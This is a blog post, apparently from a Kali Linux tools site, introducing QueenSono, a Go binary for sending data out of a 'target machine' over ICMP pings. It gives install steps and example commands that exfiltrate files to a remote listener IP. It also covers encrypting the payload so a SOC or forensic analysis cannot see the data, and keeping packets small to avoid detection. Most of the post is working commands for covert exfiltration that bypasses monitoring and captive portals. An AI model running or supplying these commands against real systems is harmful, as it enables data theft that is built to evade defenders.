Kali Linux

QueenoSno : Golang Binary For Data Exfiltration With ICMP Protocol

QueenSono tool only relies on the fact that ICMP protocol isn’t monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher) or to bypass authentication step with captive portal (used by many public Wi-Fi to authenticate users after connecting to the Wi-Fi e.g Airport Wi-Fi). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful).

Install

> Install the binary from source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/QueenSono.git
make before.build

To build the ICMP packet sender qssender :

build.queensono-sender

To build the ICMP packet receiver qsreceiver :

build.queensono-receiver

Usage

qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.

qsreceiver is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --help

Example 1: Send with “ACK” 

> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).

On local machine:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

Explanation

On target machine:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt

Explanation

Example 2: Send without “ACK” 

> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet)

On local machine:

$ qsreceiver receive truncated 1 -l 0.0.0.0

Explanation

On target machine:

$ qssender send “thisisatest i want to send a string w/o waiting for the echo reply” -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N

Example 3: Send encrypted data 

> In this example we want to send an encrypted message. As the command line could be spied on we use asymmetric encryption

On local machine:

$ qsreceiver receive -l 0.0.0.0 –encrypt

Explanation

On target machine:

$ qssender send “don’t worry this message was encrypted with the public key. only you could decrypt it” -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 5 –encrypt

About Encryption

RSA encrytion is used to keep data exchanged confidential. It could be useful for example to avoid a SoC to see what data is exchanged (or forensic) w/ basic analysis or simply for privacy.

But it comes with a cost. The choice of asymetric encryption is motivated by the fact that the encryption key is entered on the command line (so it could be retieved easily). Hence, we encrypt data with public key. Like this if someone retrieve the encryption key it will not be possible to decrypt the message. But the public key is smaller than the private one, so it encrypt smaller messages. Also, it is computationally expensive.

Another point, as we want to limit data size/ping requests (to avoid detection, bug, etc), use encryption only if needed as the message output-size will (should) always equal the size of the Modulus (part of the key) which is big.


R K

Recent Posts

Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…

7 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

1 week ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

1 week ago

How to Bash Append to File: A Simple Guide for Beginners

If you are working with Linux or writing bash scripts, one of the most common…

1 week ago

Mastering the Bash Case Statement with Simple Examples

What is a bash case statement? A bash case statement is a way to control…

1 week ago

How to Check if a File Exists in Bash – Simply Explained

Why Do We Check Files in Bash? When writing a Bash script, you often work…

1 week ago